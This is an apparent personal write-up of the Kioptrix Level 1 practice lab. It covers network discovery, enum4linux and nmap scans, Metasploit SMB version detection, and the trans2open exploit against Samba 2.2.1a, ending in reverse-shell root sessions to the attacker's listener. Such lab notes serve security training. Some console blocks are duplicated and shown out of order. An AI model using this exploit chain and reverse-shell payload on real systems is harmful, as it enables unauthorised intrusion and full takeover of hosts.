

Kioptrix level 1

🕒 Created	@December 2, 2024 1:55 PM
☑ Reviewed	☑

Its a linux machine.

To find ip address used netdiscover. It was 192.168.1.71

Currently scanning: 192.168.52.0/16 | Screen View: Unique Hosts

89 Captured ARP Req/Rep packets, from 5 hosts. Total size: 5340

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.1.254	08:00:27:c8:18:f7	1	60	PCS Systemtechnik GmbH
192.168.1.68	08:00:27:c8:18:f7	1	60	PCS Systemtechnik GmbH
192.168.1.71	08:00:27:c8:18:f7	1	60	PCS Systemtechnik GmbH
192.168.1.66	08:00:27:c8:18:f7	1	60	PCS Systemtechnik GmbH
192.168.1.70	08:00:27:c8:18:f7	1	60	PCS Systemtechnik GmbH

To verify if it was kiptiox just visit the ip from chrome. A default page of apache will be shown.

since it is a linux machine user

enum4linux 192.168.1.71

```
(kali㉿kali)-[~/Desktop]
$ enum4linux 192.168.1.71
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Dec  2 03:29:12 2024

===== ( Target Information ) =====
Target ..... 192.168.1.71
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

===== ( Enumerating Workgroup/Domain on 192.168.1.71 ) =====

[+] Got domain/workgroup name: MYGROUP

===== ( Nbtstat Information for 192.168.1.71 ) =====

Looking up status of 192.168.1.71
KIOPTRIX <00> - B <ACTIVE> Workstation Service
KIOPTRIX <03> - B <ACTIVE> Messenger Service
KIOPTRIX <20> - B <ACTIVE> File Server Service
.._MSBROWSE_ <01> - <GROUP> B <ACTIVE> Master Browser
MYGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
MYGROUP <1d> - B <ACTIVE> Master Browser
MYGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections

MAC Address = 00-00-00-00-00-00
```

Got a lot of information about the linux machine. pretty nice

Let's run an in-depth nmap scan command as:

nmap -A 192.168.1.71

It's an aggressive scan so use it carefully it will alert firewall.

The output is

```

(kali@kali)~[~/Desktop]
$ nmap -A 192.168.1.71
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-02 03:09 EST
Nmap scan report for 192.168.1.71
Host is up (0.66s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 2.9p2 (protocol 1.99)
|_ sshv1: Server supports SSHv1
|_ ssh-hostkey:
|_   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|_   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_   1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
80/tcp    open  http         Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_ http-methods:
|_   Potentially risky methods: TRACE
|_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp   open  rpcbind      2 (RPC #100000)
|_ rpcinfo:
|_   program version  port/proto  service
|_   100000  2          111/tcp    rpcbind
|_   100000  2          111/udp    rpcbind
|_   100024  1          32768/tcp  status
|_   100024  1          32768/udp  status
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https    Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ ssl-date: 2024-12-02T13:10:00+00:00; +4h59m59s from scanner time.
|_ sslv2:
|_   SSLv2 supported
|_   ciphers:
|_     SSL2_RC4_128_EXPORT40_WITH_MD5
|_     SSL2_RC4_64_WITH_MD5
|_     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_     SSL2_DES_64_CBC_WITH_MD5
|_     SSL2_RC2_128_CBC_WITH_MD5
|_     SSL2_DES_192_EDE3_CBC_WITH_MD5
|_     SSL2_RC4_128_WITH_MD5
|_ http-title: 400 Bad Request
|_ ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
|_ Not valid before: 2009-09-26T09:32:06
|_ Not valid after: 2010-09-26T09:32:06
32768/tcp open  status       1 (RPC #100024)

Host script results:
|_ clock-skew: 4h59m58s
|_ nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_ smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.58 seconds

```

After the scan we have some good information about the machine. like

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 2.9p2 (protocol 1.99)
80/tcp	open	http	Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp	open	rpcbind	2 (RPC #100000)
139/tcp	open	netbios-ssn	Samba smbd (workgroup: MYGROUP)
443/tcp	open	ssl/https	Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
32768/tcp	open	status	1 (RPC #100024)

After searching for the i found exploit for smb in metasploit but first we need the version of the smb the nmap scan doesnot show the version.

search smb version in metasploit

```

msf6 > search smb_version

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  auxiliary/scanner/smb/smb_version         .             normal No     SMB Version Detection

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_version

msf6 > use 0
msf6 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.1.71
rhosts => 192.168.1.71
msf6 auxiliary(scanner/smb/smb_version) > show option
[-] Invalid parameter "option", use "show -h" for more information
msf6 auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

Name      Current Setting  Required  Description
-      -
RHOSTS    192.168.1.71    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445              no        The target port (TCP)
THREADS   1               yes       The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_version) > run

[*] 192.168.1.71:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 192.168.1.71:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.1.71: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) >

```

After we have found the smb version as samba 2.2.1a,

I search in google and found a rapid7 link for the exploit:

<https://www.rapid7.com/db/modules/exploit/linux/samba/trans2open/>

Using the exploit and setting the payload as generic/shell_reverse_tcp to get reverse shell.

```

msf6 > use 0
msf6 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.1.71
rhosts => 192.168.1.71
msf6 auxiliary(scanner/smb/smb_version) > show option
[-] Invalid parameter "option", use "show -h" for more information
msf6 auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

  Name      Current Setting  Required  Description
  ---      -
  RHOSTS    192.168.1.71    yes       The target host(s), see https://docs.metasploit.com/docs,
  basics/using-metasploit.html
  RPORT     445              no        The target port (TCP)
  THREADS   1                yes       The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_version) > run

[*] 192.168.1.71:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 192.168.1.71:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.1.71: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) > use exploit/linux/samba/trans2open
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/samba/trans2open) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf6 exploit(linux/samba/trans2open) > set rhosts 192.168.1.71
rhosts => 192.168.1.71

```

Setting the Ip address as 192.168.1.71 and runing the exploit. we got 4 session.
we got root access.

```

msf6 auxiliary(scanner/smb/smb_version) > run

[*] 192.168.1.71:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 192.168.1.71:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.1.71: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) > use exploit/linux/samba/trans2open
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/samba/trans2open) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf6 exploit(linux/samba/trans2open) > set rhosts 192.168.1.71
rhosts => 192.168.1.71
msf6 exploit(linux/samba/trans2open) > run

[*] Started reverse TCP handler on 192.168.1.75:4444
[*] 192.168.1.71:139 - Trying return address 0xbffffdfc ...
[*] 192.168.1.71:139 - Trying return address 0xbffffcfc ...
[*] 192.168.1.71:139 - Trying return address 0xbffffbfc ...
[*] 192.168.1.71:139 - Trying return address 0xbffffafc ...
[*] 192.168.1.71:139 - Trying return address 0xbffff9fc ...
[*] 192.168.1.71:139 - Trying return address 0xbffff8fc ...
[*] 192.168.1.71:139 - Trying return address 0xbffff7fc ...
[*] 192.168.1.71:139 - Trying return address 0xbffff6fc ...
[*] Command shell session 1 opened (192.168.1.75:4444 → 192.168.1.71:32769) at 2024-12-02 03:39:05 -0500

[*] Command shell session 2 opened (192.168.1.75:4444 → 192.168.1.71:32770) at 2024-12-02 03:39:06 -0500
[*] Command shell session 3 opened (192.168.1.75:4444 → 192.168.1.71:32771) at 2024-12-02 03:39:07 -0500
[*] Command shell session 4 opened (192.168.1.75:4444 → 192.168.1.71:32772) at 2024-12-02 03:39:09 -0500

ls
whoami
root
pwd
/tmp
cd /root
ls
anaconda-ks.cfg

```

Comming for the Next kioptrix 2